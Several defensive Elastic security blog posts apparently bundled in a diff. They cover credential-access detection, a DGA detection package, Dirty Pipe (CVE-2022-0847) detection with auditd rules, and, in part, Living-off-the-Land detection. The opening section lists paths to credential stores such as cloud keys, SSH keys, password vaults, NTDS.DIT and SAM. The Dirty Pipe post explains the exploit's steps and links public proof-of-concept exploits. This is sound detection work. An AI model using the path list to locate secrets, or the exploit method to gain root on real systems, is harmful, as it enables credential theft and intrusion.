- '?:\Users\*\AppData\Roaming\postgresql\pgpass.conf'
|
||||
|
||||
# Database - robomongo
|
||||
- '?:\Users\*\.3T\robo-3t\*\robo3t.json'
|
||||
- '?:\users\*\.3T\robomongo\*\robomongo.json'
|
||||
- '?:\users\*\.config\robomongo\*\robomongo.json'
|
||||
|
||||
# Database - squirrel
|
||||
- '?:\Users\*\.squirrel-sql\SQLAliases23.xml'
|
||||
|
||||
# Database - DbVisualizer
|
||||
- '?:\Users\*\.dbvis\config70\dbvis.xml'
|
||||
|
||||
# Database - SQL Developer
|
||||
- '?:\Users\*\AppData\Roaming\SQL Developer\system*\o.jdeveloper.db.connection.*\connections.xml'
|
||||
- '?:\Users\*\AppData\Roaming\SQL Developer\system*\o.sqldeveloper.*\product-preferences.xml'
|
||||
|
||||
# Cloud - AWS
|
||||
- '?:\Users\*\.aws\credentials\*'
|
||||
|
||||
# Cloud - GCloud
|
||||
- '?:\Users\*\AppData\Roaming\gcloud\*'
|
||||
|
||||
# Cloud - Azure
|
||||
- '?:\Users\*\.azure\*'
|
||||
|
||||
# Cloud - Github
|
||||
- '?:\Users\*\.config\git\credentials'
|
||||
|
||||
# Cloud - iCloud
|
||||
- '?:\users\*\AppData\Roaming\Apple Computer\Preferences\*'
|
||||
|
||||
# Private Keys & Certs & Keepass
|
||||
- '*.pem'
|
||||
- '*.pfx'
|
||||
- '*.p12'
|
||||
- '*.pvk'
|
||||
- '*.key'
|
||||
- '*.ppk'
|
||||
- '*.rdg'
|
||||
- '*.kdb'
|
||||
- '*.kdbx'
|
||||
|
||||
# Config - IIS Connection Strings
|
||||
- '?:\inetpub\wwwroot\*\web.config'
|
||||
|
||||
# FileZilla Creds
|
||||
- '?:\Users\*\AppData\Roaming\FileZilla\*'
|
||||
|
||||
# Jenkins Creds
|
||||
- '*\credentials.xml'
|
||||
- '*\secrets\master.key'
|
||||
- '*\secrets\hudson.util.Secret'
|
||||
|
||||
# SSH and SSL
|
||||
- '?:\users\*\.ssh\*'
|
||||
|
||||
# WIFI
|
||||
- '?:\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\*\\*.xml'
|
||||
|
||||
# Collab
|
||||
- '?:\Users\*\AppData\Roaming\Slack\Cookies\*'
|
||||
- '?:\Users\*\AppData\Roaming\Slack\storage\slack-downloads\*'
|
||||
|
||||
# GPP - 'Creds (legacy domains)
|
||||
|
||||
- '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\Groups\Groups.xml'
|
||||
- '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\DataSources.xml'
|
||||
- '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml'
|
||||
- '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\Services\Services.xml'
|
||||
- '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\Registry\registry.xml'
|
||||
- '?:\Users\*\AppData\Roaming\KeePass\KeePass*'
|
||||
|
||||
# Thunderbird
|
||||
- '?:\Users\*\AppData\Roaming\Thunderbird\Profiles\*.default*\*'
|
||||
|
||||
# VPN
|
||||
- '?:\Users\*\AppData\Local\NordVPN\NordVPN.exe*\user.config'
|
||||
|
||||
# NTDS.DIT
|
||||
- '*\NTDS.DIT'
|
||||
|
||||
# SAM
|
||||
- '*\SAM'
|
||||
|
||||
```
|
||||
|
||||
## Closing thoughts
|
||||
|
||||
Leveraging the new events that are collected with our kernel mode driver, and not subject to user mode tampering, we expanded our detection and prevention coverage for both credential discovery and access. Furthermore, combining it with the correlation features of Elastic EQL, we can create interesting hunts and detection rules for a variety of scenarios, with minimal false positive rates.
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/AlessandroZ/LaZagne](https://github.com/AlessandroZ/LaZagne)
|
||||
- [https://github.com/GhostPack/Seatbelt](https://github.com/GhostPack/Seatbelt)
|
||||
- [https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107](https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107)
|
||||
- [https://github.com/gtworek/PSBits/tree/master/LSASecretDumper](https://github.com/gtworek/PSBits/tree/master/LSASecretDumper)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md)
|
|
@ -0,0 +1,115 @@
|
|||
---
|
||||
title: "Detect domain generation algorithm (DGA) activity with new Kibana integration"
|
||||
slug: "detect-domain-generation-algorithm-activity-with-new-kibana-integration"
|
||||
date: "2023-05-17"
|
||||
description: "We have added a DGA detection package to the Integrations app in Kibana. In a single click, you can install and start using the DGA model and associated assets, including ingest pipeline configurations, anomaly detection jobs, and detection rules."
|
||||
author:
|
||||
- slug: melissa-alvarez
|
||||
image: "library-branding-elastic-stack-midnight-1680x980-no-logo.jpg"
|
||||
category:
|
||||
- slug: machine-learning
|
||||
- slug: detection-science
|
||||
---
|
||||
|
||||
Searching for a way to help protect your network from potential domain generation algorithm (DGA) attacks? Look no further — a DGA detection package is now available in the Integrations app in Kibana.
|
||||
|
||||
In a single click, users can install and start using the DGA model and associated assets, including ingest pipeline configurations, anomaly detection jobs, and detection rules. Read on for step-by-step instructions on installing and fully enabling the DGA package.
|
||||
|
||||
[Related article: [Automating the Security Protections rapid response to malware](https://www.elastic.co/blog/automating-security-protections-rapid-response-to-malware)]
|
||||
|
||||
# What is a DGA?
|
||||
|
||||
A DGA is a technique employed by many malware authors to ensure that infection of a client machine evades defensive measures. The goal of this technique is to hide the communication between an infected client machine and the command and control (C & C or C2) server by using hundreds or thousands of randomly generated domain names, of which one will ultimately resolve to the IP address of a C & C server.
|
||||
|
||||
To more easily visualize what’s occurring in a DGA attack, imagine for a moment you’re a soldier on a battlefield. Like many soldiers, you have communication gear that uses radio frequencies for communication. Your enemy may try to disrupt your communications by jamming your radio frequencies. One way to devise a countermeasure for this is by frequency hopping — using a radio system that changes frequencies very quickly during the course of a transmission. To the enemy, the frequency changes appear to be random and unpredictable, so they are hard to jam.
|
||||
|
||||
DGAs are like a frequency-hopping communication channel for malware. They change domains so frequently that blocking the malware’s C2 communication channel becomes infeasible by means of DNS domain name blocking. There are simply too many randomly generated DNS names to successfully identify and block them.
|
||||
|
||||
This technique emerged in the world of malware with force in 2009, when the “Conficker” worm began using a very large number of randomly generated domain names for communication. The worm’s authors developed this countermeasure after a consortium of security researchers interrupted the worm’s C2 channel by shutting down the DNS domains it was using for communication. DNS mitigation was also performed in the case of the 2017 WannaCry ransomware global outbreak.
|
||||
|
||||
# Getting started
|
||||
|
||||
We have released the model and the associated assets — including the pipelines, anomaly detection configurations, and detection rules — to the Integrations app in Kibana as of 8.0. We will be maintaining this format moving forward.
|
||||
|
||||
If you don’t have an Elastic Cloud cluster but would like to start experimenting with the released ProblemChild package, you can start a [free 14-day trial](https://cloud.elastic.co/registration) of Elastic Cloud.
|
||||
|
||||
We will now look at the steps to get DGA up and running in your environment in a matter of minutes using the released DGA package.
|
||||
|
||||
### Step 1: Installing the package assets
|
||||
|
||||
In Kibana, the Integrations app now includes the DGA detection package. To install the assets, click the **Install DGA assets** button under the **Settings** tab. This will install all of the artifacts necessary to use the DGA model to generate alerts when DGA activity is detected in your network data.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Once installation is complete, you can navigate to **Stack Management > Ingest Pipelines** and see that the **`<version-number>-ml\_dga\_ingest\_pipeline`** has been installed and can now be used to enrich incoming ingest data. The ingest pipeline leverages the **`<version-number>-ml\_dga\_inference\_pipeline`** to do this.
|
||||
|
||||

|
||||
|
||||
Similarly, the installed DGA model can now be seen in **Machine Learning > Model Management > Trained Models**.
|
||||
|
||||

|
||||
|
||||
### Step 2: Enriching your data
|
||||
|
||||
Now you are ready to ingest your data using the ingest pipeline. The supervised model will analyze and enrich incoming data containing DNS events with a DGA score.
|
||||
|
||||
This pipeline is designed to work with data containing DNS events — such as [packetbeat](https://www.elastic.co/beats/packetbeat) data — which contain these ECS fields: dns.question.name and dns.question.registered_domain. You can add the installed ingest pipeline to an Elastic beat by adding a simple [configuration setting](https://www.elastic.co/guide/en/elasticsearch/reference/current/ingest.html#pipelines-for-beats).
|
||||
|
||||
If you already have an ingest pipeline associated with your indices, you can use a [pipeline processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/pipeline-processor.html) to integrate the DGA ingest pipeline into your existing pipeline.
|
||||
|
||||
You will also want to add the following mappings to the beat you chose:
|
||||
|
||||
```
|
||||
{
|
||||
"properties": {
|
||||
"ml_is_dga": {
|
||||
"properties": {
|
||||
"malicious_prediction": {
|
||||
"type": "long"
|
||||
},
|
||||
"malicious_probability": {
|
||||
"type": "float"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
You can do this under **Stack Management > Index Management > Component Templates.** Templates that can be edited to add custom components will be marked with a _@custom_ suffix. Edit the _@custom_ component template for your Elastic beat by pasting the above JSON blob in the **Load JSON** flyout.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
You should now see that the model enriches incoming DNS events with the following fields:
|
||||
|
||||
- **Ml_is_dga.malicious_prediction:** A value of “1” indicates the DNS domain is predicted to be the result of malicious DGA activity. A value of “0” indicates it is predicted to be benign.
|
||||
|
||||
- **Ml_is_dga.malicious_probability:** A probability score, between 0 and 1, that the DNS domain is the result of malicious DGA activity.
|
||||
|
||||
If you want an immediate way to test that the ingest pipeline is working as expected with your data, you can use a few sample documents with the [simulate pipeline API](https://www.elastic.co/guide/en/elasticsearch/reference/current/simulate-pipeline-api.html) and confirm you see the **ml_is_dga** fields.
|
||||
|
||||
### Step 3: Running anomaly detection
|
||||
|
||||
The package includes a pre-configured anomaly detection job. This machine learning (ML) job examines the DGA scores produced by the supervised DGA model and looks for anomalous patterns of unusually high scores for a particular source IP address. These events are assigned an anomaly score.
|
||||
|
||||
To run this job on your enriched data, go to **Machine Learning > Anomaly Detection**. When you create a job using the job wizard, you should see an option to Use preconfigured jobswith a card for DGA. After selecting the card, you will see the pre-configured anomaly detection job that can be run. Note this job is only useful for indices that have been enriched by the ingest pipeline.
|
||||
|
||||
### Step 4: Enabling the rules
|
||||
|
||||
To maximize the benefit of the DGA framework, activate the installed detection rules. They are triggered when certain conditions for the supervised model or anomaly detection job are satisfied. The complete list of the installed rules can be found in the **Overview** page of the package itself or in the latest experimental detections [release](https://github.com/elastic/detection-rules/releases/tag/ML-experimental-detections-20211130-7).
|
||||
|
||||
To fully leverage the included preconfigured anomaly detection job, enable the complementary rule: _Potential DGA Activity._ This will create an anomaly-based alert in the detection page in the security app.
|
||||
|
||||
The preconfigured anomaly detection job and complementary rule are both available in the detection rules repo [releases](https://github.com/elastic/detection-rules/releases). To enable and use the installed rules, navigate to **Security > Rules** and select _Load Elastic prebuild rules and timeline templates_.
|
||||
|
||||

|
||||
|
||||
# Get in touch
|
||||
|
||||
We’d love for you to try out ProblemChild and give us feedback as we work on adding new capabilities to it. If you run into any issues during the process, please reach out to us on our [community Slack channel](https://ela.st/slack), [discussion forums](https://discuss.elastic.co/c/security), or even our [open detections repository](https://github.com/elastic/detection-rules).
|
||||
|
||||
You can always experience the latest version of [Elasticsearch Service](https://www.elastic.co/elasticsearch/service) on Elastic Cloud and follow along with this blog to set up the ProblemChild framework in your environment for your Windows process event data. And take advantage of our [Quick Start training](https://www.elastic.co/training/elastic-security-quick-start) to set yourself up for success. Start your [free trial of Elastic Cloud](https://cloud.elastic.co/registration) today to get access to the platform. Happy experimenting!
|
|
@ -0,0 +1,274 @@
|
|||
---
|
||||
title: "Detecting and responding to Dirty Pipe with Elastic"
|
||||
slug: "detecting-and-responding-to-dirty-pipe-with-elastic"
|
||||
date: "2022-09-09"
|
||||
description: "Elastic Security is releasing detection logic for the Dirty Pipe exploit."
|
||||
author:
|
||||
- slug: colson-wilhoit
|
||||
- slug: samir-bousseaden
|
||||
- slug: jake-king
|
||||
- slug: andrew-pease
|
||||
image: "photo-edited-01@2x.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
---
|
||||
|
||||
## Preamble
|
||||
|
||||
Dirty Pipe is a local privilege escalation vulnerability that is easily exploitable with a handful of working exploit POCs already available. Its broad scope (any user-readable file and affected Linux versions) along with its evolving nature (the SUID shell backdoor exploit) make CVE-2022-0847 especially dangerous for administrators of systems that are potentially vulnerable.
|
||||
|
||||
### What is Dirty Pipe (CVE-2022-0847)?
|
||||
|
||||
[CVE-2022-0847](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847) is a Linux local privilege escalation vulnerability, discovered by security researcher Max Kellermann that takes advantage of the way the Linux kernel manages page files and named pipes allowing for the overwriting of data in read-only files. This vulnerability impacts Linux kernels 5.8 and later until any version before 5.16.11, 5.15.25, and 5.10.102.
|
||||
|
||||
### What is the impact?
|
||||
|
||||
With many POC’s already released, this vulnerability can be easily exploited to gain root-level privileges by, for instance, rewriting sensitive files like “/etc/passwd” or hijacking a SUID root binary (like sudo) via injection of malicious code.
|
||||
|
||||
### What is Elastic doing about it?
|
||||
|
||||
Elastic is releasing detection logic and Auditd rules that can be used to detect exploitation of this vulnerability.
|
||||
|
||||
## Dirty Pipe Details
|
||||
|
||||
The vulnerability can be exploited due to a flaw in the new pipe buffer structure where a flag member lacked proper initialization and could then contain a stale value. This could then be used to write to pages within the page cache behind read-only files, allowing for privilege escalation. Given the specific nature of this vulnerability, detection can be quite difficult.
|
||||
|
||||
### Linux Pipes & CVE-2022-0847
|
||||
|
||||
[Pipes](https://man7.org/linux/man-pages/man2/pipe.2.html) are an interprocess communication mechanism represented as a file within Linux that can receive input data and provide an output for that data. The output of one process can become the input of another using a “pipe” to forward that data between.
|
||||
|
||||
Pipes are managed by the CPU in memory and their data is referred to as a “page”.
|
||||
|
||||
The exploitation of this vulnerability utilizes a process called “page splicing”. Page splicing is used to merge data between different pipe pages in memory without having to rewrite the data.
|
||||
|
||||
The flag we referenced in the summary is the PIPE_BUF_FLAG_CAN_MERGE flag. This must be set in order for a page cache to be merged and is only set when the pipe page becomes full. Howerver, if the page cache is emptied completely this flag remains (lack of initialization) which is where the problem lies.
|
||||
|
||||
The exploit functions generally by:
|
||||
|
||||
1. Opening a new pipe
|
||||
2. Filling the pipe’s page cache with arbitrary data in order to set the PIPE_BUF_FLAG_CAN_MERGE flag
|
||||
3. Draining the page cache of data but retaining the PIPE_BUF_FLAG_CAN_MERGE flag and replacing the data with the new data they want to overwrite a read-only file with
|
||||
4. The splice (“page splicing”) [syscall](https://man7.org/linux/man-pages/man2/syscalls.2.html) is then used to merge the pages (the pipe page and target file page) leading to the new data being added to a target file bypassing the read-only permissions
|
||||
|
||||
Many of the exploit POCs observed so far target the /etc/passwd file to overwrite and provide the users with elevated root privileges. Other variants of the exploit released allow for the creation of a SUID shell backdoor by overwriting a binary that has SUID permissions (superuser capabilities) giving the user a root shell and complete control.
|
||||
|
||||
We anticipate that adversaries and researchers will develop a multitude of other exploitation chains with this particular vulnerability.
|
||||
|
||||
### Proof Of Concept Code
|
||||
|
||||
The security community has developed a multitude of different tests that adversaries may take advantage of in future attacks against systems. POCs listed below are authored to help security researchers identify if systems are impacted by the vulnerability, and furthermore - test detection strategies.
|
||||
|
||||
- Original Max Kellermann write-up: [https://dirtypipe.cm4all.com/](https://dirtypipe.cm4all.com/)
|
||||
- SUID shell: [https://haxx.in/files/dirtypipez.c](https://haxx.in/files/dirtypipez.c)
|
||||
- Passwd overwrite: [https://github.com/liamg/traitor](https://github.com/liamg/traitor)
|
||||
- Passwd overwrite: [https://github.com/imfiver/CVE-2022-0847](https://github.com/imfiver/CVE-2022-0847)
|
||||
- Metasploit module: [https://github.com/rapid7/metasploit-framework/pull/16303](https://github.com/rapid7/metasploit-framework/pull/16303)
|
||||
|
||||
## Finding systems vulnerable to Dirty Pipe
|
||||
|
||||
Beyond using a traditional vulnerabilty scanner, there are several ways to detect systems vulnerable to Dirty Pipe.
|
||||
|
||||
### Using the Elastic Security Integration
|
||||
|
||||
If you have Auditbeat, Filebeat (with the Auditd module enabled), or the Elastic Agent (with the Security or Auditd integrations deployed) you can use the Lens visualization tool (located in Kibana) to quickly compile and save a list of vulnerable systems as evidenced in the screenshot below:
|
||||
|
||||

|
||||
|
||||
### Using the Osquery Manager Integration
|
||||
|
||||
Additionally, you can use the [Osquery Manager integration](https://docs.elastic.co/en/integrations/osquery_manager) to collect the kernel information from all endpoints. To do this, you need to add the Osquery Manager integration to an Elastic Agent policy (Integrations → Osquery Manager → Add Osquery Manager). Once you’ve added the integration, you can perform a simple query: SELECT version FROM kernel_info; which will return the hostname and Linux kernel version from all endpoints with the policy.
|
||||
|
||||

|
||||
|
||||
## Detecting CVE-2022-0847 exploitation using Auditd
|
||||
|
||||
[Auditd](https://linux.die.net/man/8/auditd) is the userspace component of the Linux Auditing System. Auditd stands for Audit Daemon and is a background running service responsible for collecting and writing log files to disk. The Linux Audit System includes a kernel component that hooks system calls and communicates those to Auditd. Auditd is capable of logging System Calls, File Access, and certain pre-configured Audit events. You can install and enable Auditd for free with the package manager on your Linux distribution of choice.
|
||||
|
||||
### Auditd rules
|
||||
|
||||
Auditd rules define what is to be captured and logged. These rules are generally defined in an audit.rules file and placed at /etc/audit/audit.rules or /etc/audit/rules.d/audit.rules. Events are written to /var/log/audit/audit.log on the local system.
|
||||
|
||||
Once you have installed and enabled Auditd, you can add the below lines to your audit.rules file to detect Dirty Pipe exploitation attempts.
|
||||
|
||||
```
|
||||
Dirty Pipe Auditd rules
|
||||
|
||||
-a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe
|
||||
-a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe
|
||||
-a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe
|
||||
```
|
||||
|
||||
> The aforementioned rules were adapted by Elastic Security from initial findings by [Jonas LeJon](https://twitter.com/jonasl/status/1501840914381258756).
|
||||
|
||||
## Linux Auditing System event collection with Elastic
|
||||
|
||||
There are a few different ways to collect Linux Auditing System events using Elastic. You can either use the Elastic Agent with the Auditd integration, Auditbeat, or the Auditd module for Filebeat.
|
||||
|
||||
> Remember, if you’re using the Auditd integrations for the Elastic Agent or Filebeat, you’ll need to create the [Auditd rules described above](https://www.elastic.co/security-labs/detecting-and-responding-to-dirty-pipe-with-elastic#auditd-rules).
|
||||
|
||||
### The Elastic Agent w/Auditd Integration
|
||||
|
||||
The Elastic Agent with the [Auditd Integration](https://docs.elastic.co/en/integrations/auditd) allows for the collection of Auditd rules. To collect these events, you need to add the Auditd integration to an Elastic Agent policy (Integrations → Auditd → Add Auditd).
|
||||
|
||||

|
||||
|
||||
Once this integration is installed to an Elastic Agent policy and deployed to endpoints, you will see Auditd events populated in Kibana.
|
||||
|
||||
You can verify that you are receiving Auditd events in Kibana by using the Kibana query event.dataset : "auditd.log".
|
||||
|
||||
### Auditbeat
|
||||
|
||||
You can use the [Auditbeat Auditd module](https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-auditd.html) to collect the Linux Audit Framework logs. To do this, [install Auditbeat](https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-installation-configuration.html). You might encounter errors if another process besides Auditbeat, such as Auditd, is registered to receive data from the Linux Audit Framework. To prevent this conflict, you can stop and disable Auditd from running.
|
||||
|
||||
```
|
||||
Stopping and disabling Auditd
|
||||
|
||||
sudo service auditd.service stop
|
||||
sudo chkconfig auditd.service off
|
||||
```
|
||||
|
||||
Edit the /etc/auditbeat/auditbeat.yml file to point to your local, remote, or cloud cluster and add the Dirty Pipe rules provided above in the Auditd rules section.
|
||||
|
||||
```
|
||||
Adding Dirty Pipe detection rules to the Auditbeat configuration file
|
||||
|
||||
# ===== Modules configuration =====
|
||||
|
||||
auditbeat.modules:
|
||||
|
||||
* module: auditd
|
||||
|
||||
# Load audit rules from separate files. Same format as audit.rules(7)
|
||||
|
||||
audit_rule_files: [ '${path.config}/audit.rules.d/*.conf' ]
|
||||
audit_rules: |
|
||||
|
||||
## Define audit rules here
|
||||
|
||||
## Create file watches (-w) or syscall audits (-a or -A). Uncomment these
|
||||
|
||||
## examples or add your own rules
|
||||
|
||||
-a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe
|
||||
-a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe
|
||||
-a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe
|
||||
|
||||
…truncated…
|
||||
```
|
||||
|
||||
Check the configuration and connectivity of Auditbeat using the test commands.
|
||||
|
||||
```
|
||||
Testing the Auditbeat configuration and output settings
|
||||
|
||||
sudo auditbeat test config
|
||||
sudo auditbeat test output
|
||||
```
|
||||
|
||||
Run the Auditbeat setup command using sudo auditbeat setup.
|
||||
|
||||
Start Auditbeat using sudo systemctl start auditbeat.service.
|
||||
|
||||
Now you should be able to verify events are being populated in the auditbeat-\* Data View within Kibana.
|
||||
|
||||

|
||||
|
||||
### Filebeat
|
||||
|
||||
You can use the [Auditd module for Filebeat](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-auditd.html) to collect the Auditd logs as well. To do this, [install Filebeat](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-installation-configuration.html) and then enable the Auditd module
|
||||
|
||||
sudo filebeat modules enable auditd
|
||||
|
||||
Next, go into the Auditd configuration file and enable log collection, test, setup, and then start Filebeat.
|
||||
|
||||
```
|
||||
Enabling Auditd log in the Filebeat configuration file
|
||||
|
||||
sudo vi /etc/filebeat/modules.d/auditd.yml
|
||||
|
||||
# Module: auditd
|
||||
|
||||
# Docs: <https://www.elastic.co/guide/en/beats/filebeat/master/filebeat-module-auditd.html>
|
||||
|
||||
* module: auditd
|
||||
log:
|
||||
enabled: true
|
||||
|
||||
# Set custom paths for the log files. If left empty
|
||||
|
||||
# Filebeat will choose the paths depending on your OS
|
||||
|
||||
#var.paths:
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
Testing the Filebeat configuration and output settings
|
||||
|
||||
sudo filebeat test config
|
||||
sudo filebeat test output
|
||||
```
|
||||
|
||||
Run the Filebeat setup command using sudo filebeat setup.
|
||||
|
||||
Start Filebeat using sudo systemctl start filebeat.service.
|
||||
|
||||
## Detecting Dirty Pipe with Elastic
|
||||
|
||||
Now that Linux Audit Framework events are being populated by either the Elastic Agent, Auditbeat, or Filebeat, you can run queries to detect exploitation attempts using the Kibana Query Language (KQL) in Discover or the Endpoint Query Language (EQL) in Kibana’s Security → Timelines → New Timeline → Correlation query editor.
|
||||
|
||||
### Hunt queries in Kibana
|
||||
|
||||
KQL query compatible with using the Elastic Agent, Auditbeat, or Filebeat:
|
||||
|
||||
```
|
||||
KQL query to detect Dirty Pipe exploitation attempts
|
||||
|
||||
auditd.log.key : dirtypipe and process.name : *
|
||||
|
||||
```
|
||||
|
||||
EQL query compatible with using the Auditbeat:
|
||||
|
||||
```
|
||||
EQL query to detect Dirty Pipe exploitation attempts
|
||||
|
||||
process where tags : "dirtypipe" and not process.name : ""
|
||||
```
|
||||
|
||||
### Detection Engine alerts
|
||||
|
||||
You can also create a Detection Engine alert to monitor for exploitation attempts.
|
||||
|
||||

|
||||
|
||||
Exploitation attempts will be recorded in the Kibana Security Solution in the Alerts section.
|
||||
|
||||

|
||||
|
||||
## Respond to Observed Threats
|
||||
|
||||
Elastic makes it easy to quickly respond to a threat by isolating the host while still allowing it to communicate with your stack in order to continue monitoring actions taken and/or remediate the threat.
|
||||
|
||||

|
||||
|
||||
## Defense in Depth Recommendations
|
||||
|
||||
The following steps can be leveraged to improve a network’s protective posture:
|
||||
|
||||
1. Review and ensure that you have deployed the latest stable and vendor-supplied kernel for your OS’
|
||||
2. Review and implement the above detection logic within your environment using technology described in the post
|
||||
3. Maintain backups of your critical systems to aid in quick recovery
|
||||
|
||||
## References
|
||||
|
||||
The following research was referenced throughout the document:
|
||||
|
||||
- Exploit CVE reference: [CVE-2022-0847](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847)
|
||||
- Write-up using eBPF for some detections: [https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig](https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig/)
|
||||
- Original Max Kellermann write-up: [https://dirtypipe.cm4all.com/](https://dirtypipe.cm4all.com/)
|
||||
- SUID shell: [https://haxx.in/files/dirtypipez.c](https://haxx.in/files/dirtypipez.c)
|
||||
- Passwd overwrite: [https://github.com/liamg/traitor](https://github.com/liamg/traitor)
|
||||
- Passwd overwrite: [https://github.com/imfiver/CVE-2022-0847](https://github.com/imfiver/CVE-2022-0847)
|
||||
- Metasploit module: [https://github.com/rapid7/metasploit-framework/pull/16303](https://github.com/rapid7/metasploit-framework/pull/16303)
|
||||
- Original Auditd detection logic: [https://twitter.com/jonasl/status/1501840914381258756?s=20&t=MIWwwXpl5t0JiopVxX5M5Q](https://twitter.com/jonasl/status/1501840914381258756?s=20&t=MIWwwXpl5t0JiopVxX5M5Q)
|
|
@ -0,0 +1,145 @@
|
|||
---
|
||||
title: "Detecting Living-off-the-land attacks with new Elastic Integration"
|
||||
slug: "detecting-living-off-the-land-attacks-with-new-elastic-integration"
|
||||
date: "2023-03-01"
|
||||
description: "We added a Living off the land (LotL) detection package to the Integrations app in Kibana. In a single click, you can install and start using the ProblemChild model and associated assets including anomaly detection configurations and detection rules."
|
||||
author:
|
||||
- slug: melissa-alvarez
|
||||
image: "security-threat-hunting-incidence-response-1200x628.jpg"
|
||||
category:
|
||||
- slug: machine-learning
|
||||
- slug: detection-science
|
||||
---
|
||||
|
||||
It is becoming more common that adversary attacks consist of more than a standalone executable or script. Advanced attacker techniques, like “living off the land” (LotL) that appear normal in isolation become more suspicious when observed in a parent-child context. If you are running Windows in your environment, it is important to have a system for detecting these types of attacks. Traditional heuristic-based detections, though effective in detecting a single event, often fail to generalize across a multi-step attack. At Elastic we have trained a Living off the Land classifier, anomaly detection jobs and security detection rules to help our security professionals discover LotL attacks.
|
||||
|
||||
With the advent of [Integration packages](https://www.elastic.co/integrations/) in the Elastic stack we can now deliver the full, customizable package that includes the LotL classification model, anomaly detection job configurations, detection rules, and inference pipelines to make it easier to install and get up and running the entire end-to-end data pipeline from collecting windows events to alerting on potential Lotl attacks. We will walk you through how we set it up so you can try it yourself.
|
||||
|
||||
# ProblemChild: Recap
|
||||
|
||||
In an earlier blog post, we talked about how to use[the detection rules repository command line interface (CLI), to set up the ProblemChild framework and get it up and running in your environment](https://www.elastic.co/blog/problemchild-generate-alerts-to-detect-living-off-the-land-attacks). We have now added a [Living off the land (LotL) detection package](https://docs.elastic.co/integrations/problemchild) to the Integrations app in Kibana. In a single click, you can install and start using the ProblemChild model and associated assets including anomaly detection configurations and detection rules.
|
||||
|
||||
As outlined in the [previous blog](https://www.elastic.co/blog/problemchild-generate-alerts-to-detect-living-off-the-land-attacks), ProblemChild is a framework built using the Elastic Stack to detect LotL activity. LotL attacks are generally tricky to detect, given that attackers leverage seemingly benign software already present in the target environment to fly under the radar. The lineage of processes spawned in your environment can provide a strong signal in the event of an ongoing attack.
|
||||
|
||||
The supervised machine learning (ML) component of ProblemChild leverages process lineage information present in your Windows process event metadata to classify events as malicious or benign using [Inference](https://www.elastic.co/guide/en/machine-learning/current/ml-dfa-classification.html#ml-inference-class) at the time of ingest. Anomaly detection is then applied to detect rare processes among those detected as malicious by the supervised model. Finally, detection rules alert on rare parent-child process activity as an indication of LotL attacks.
|
||||
|
||||
The sheer volume and variety of events seen in organizations poses a challenge for detecting LotL attacks using rules and heuristics, making an ML-based framework such as ProblemChild a great solution.
|
||||
|
||||
## Getting Started
|
||||
|
||||
We have released the model and the associated assets - including the pipelines, anomaly detection configurations, and detection rules - to the Integrations app in Kibana as of 8.0. We will be maintaining this format moving forward.
|
||||
|
||||
If you don’t have an Elastic Cloud cluster but would like to start experimenting with the released ProblemChild package, you can start a [free 14-day trial](https://cloud.elastic.co/registration) of Elastic Cloud.
|
||||
|
||||
We will now look at the steps to get ProblemChild up and running in your environment in a matter of minutes using the released Living off the land (LotL) detection package.
|
||||
|
||||
### Step 1: Installing the package assets
|
||||
|
||||
In Kibana, the Integrations app now includes the LotL Attack Detection package. To install the assets, click the `Install LotL Attack Detection assets` button under the `Settings` tab.
|
||||
|
||||
This will install all of the artifacts necessary to use the ProblemChild model to generate alerts when LotL activity is detected in your environment.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Once installation is complete, you can navigate to **Stack Management > Ingest Pipelines** and see that the **`<version-number>-problem\_child\_ingest\_pipeline`** has been installed and can now be used to enrich incoming ingest data. The ingest pipeline leverages the **`<version-number>-problem\_child\_inference\_pipeline`** in order to do this.
|
||||
|
||||

|
||||
|
||||
Similarly, the installed ProblemChild model can now be seen in **Machine Learning > Model Management > Trained Models**
|
||||
|
||||

|
||||
|
||||
### Step 2: Enriching your data
|
||||
|
||||
Now you are ready to ingest your data using the ingest pipeline. This will enrich your incoming data with predictions from the machine learning model.
|
||||
|
||||
This pipeline is designed to work with Windows process event data such as [Winlogbeat data](https://www.elastic.co/downloads/beats/winlogbeat). You can add the installed ingest pipeline to an Elastic beat by adding a simple [configuration setting](https://www.elastic.co/guide/en/elasticsearch/reference/current/ingest.html#pipelines-for-beats).
|
||||
|
||||
